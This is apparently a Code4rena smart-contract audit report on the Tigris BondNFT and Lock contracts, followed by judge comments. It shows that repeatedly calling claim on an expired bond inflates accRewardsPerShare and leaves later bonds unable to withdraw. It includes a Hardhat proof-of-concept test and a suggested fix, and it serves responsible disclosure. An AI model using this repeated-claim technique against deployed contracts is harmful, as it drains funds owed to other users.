BondNFT.sol: Expired bond can increase accRewardsPerShare multiple times by calling claim function

[code423n4]

Lines of code

https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L168-L187
https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L34-L41

Vulnerability details

Impact

Note: I have submitted a different issue (issue 71) that originates from the same code section. However these are different issues with even somewhat counteracting consequences. By reading both issues closely it should become clear that the issues are different.

The BondNFT.claim function (https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/BondNFT.sol#L168-L187) can be called by calling the Lock.claim function (https://github.com/code-423n4/2022-12-tigris/blob/496e1974ee3838be8759e7b4096dbee1b8795593/contracts/Lock.sol#L34-L41).

In the BondNFT.claim function, if rewards are claimed for a bond that has expired in a previous epoch, the rewards that were accrued for the bond for the time after it has been expired, are distributed across all shares by increasing the accRewardsPerShare mapping accordingly.

This is how accRewardsPerShare is updated:

uint _pendingDelta = (bond.shares * accRewardsPerShare[bond.asset][epoch[bond.asset]] / 1e18 - bondPaid[_id][bond.asset]) - (bond.shares * accRewardsPerShare[bond.asset][bond.expireEpoch-1] / 1e18 - bondPaid[_id][bond.asset]);
if (totalShares[bond.asset] > 0) {
    accRewardsPerShare[bond.asset][epoch[bond.asset]] += _pendingDelta*1e18/totalShares[bond.asset];
}

The issue is that the Lock.claim function and thereby the BondNFT.claim function can be called multiple times by the bond's owner.

This also means that the _pendingDelta is distributed across shares multiple times, leading to a higher accRewardsPerShare than there are actually rewards.

So when enough bonds are released there will eventually not be enough funds to pay back any more bonds.
This results in a loss of funds for some users and an unfair gain of funds for others.

Proof of Concept

I have created a test to walk you through this issue.

First you should implement the following function in the BondNFT contract which is used in my test in order to log the accRewardsPerShare:

function accRewardsPerShareDebug(uint _id) public view returns (uint256) {
    Bond memory bond = idToBond(_id);
    return accRewardsPerShare[bond.asset][epoch[bond.asset]];  
}

Add the following test to the Withdrawing test section in 09.Bonds.js:

it("Expired bond can increase accRewardsPerShare indefinitely", async function () {
    console.log("Create bond 1, lock 100 days, 1000 ether");
    await stabletoken.connect(owner).mintFor(owner.address, ethers.utils.parseEther("1000"));
    await lock.connect(owner).lock(StableToken.address, ethers.utils.parseEther("1000"), 100);

    console.log("Create bond 2, lock 7 days, 1000 ether");
    await stabletoken.connect(owner).mintFor(user.address, ethers.utils.parseEther("10"));
    await lock.connect(user).lock(StableToken.address, ethers.utils.parseEther("10"), 7);

    console.log("Skip 10 days, bond 2 expired now");
    
    await network.provider.send("evm_increaseTime", [864000]); // Skip 10 days
    await network.provider.send("evm_mine");

    console.log("Distribute 1000 ether");

    await stabletoken.connect(owner).mintFor(owner.address, ethers.utils.parseEther("1"));
    await bond.distribute(stabletoken.address, ethers.utils.parseEther("1"));


    console.log("Calling claim multiple times and the accRewardsPerShare increases");
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));
    lock.connect(user).claim(2);
    console.log(await bond.accRewardsPerShareDebug(2));

    console.log("Release bond 2");
    await lock.connect(user).release(2);

    console.log("Releasing bond 1 fails because of insufficient funds!");
    await network.provider.send("evm_increaseTime", [8640000]); // Skip 100 days
    await network.provider.send("evm_mine");
    await lock.connect(owner).release(1);

});

In the test bond 1 and bond 2 are created.
Bond 2 is used to call claim multiple times such that when bond 1 is released, the transaction fails because of insufficient funds.

Tools Used

VSCode

Recommended Mitigation Steps

You should make sure that the _pendingDelta is only distributed once.
You might create a mapping called pendingDeltas that keeps track of the _pendingDelta that has already been distributed for each bond.
When the claim function is then called a second time you can calculate _pendingDelta = _pendingDelta - pendingDeltas[bondId].
This is similar to how you keep track of the amount of rewards paid for each bond in the bondPaid mapping.

[GalloDaSballo]

Has POC (although no assertion on amount received), so making it primary

[c4-judge]

GalloDaSballo marked the issue as primary issue

[GalloDaSballo]

170 has more complete POC, changing

[c4-judge]

GalloDaSballo marked the issue as duplicate of #170

[c4-judge]

GalloDaSballo marked the issue as satisfactory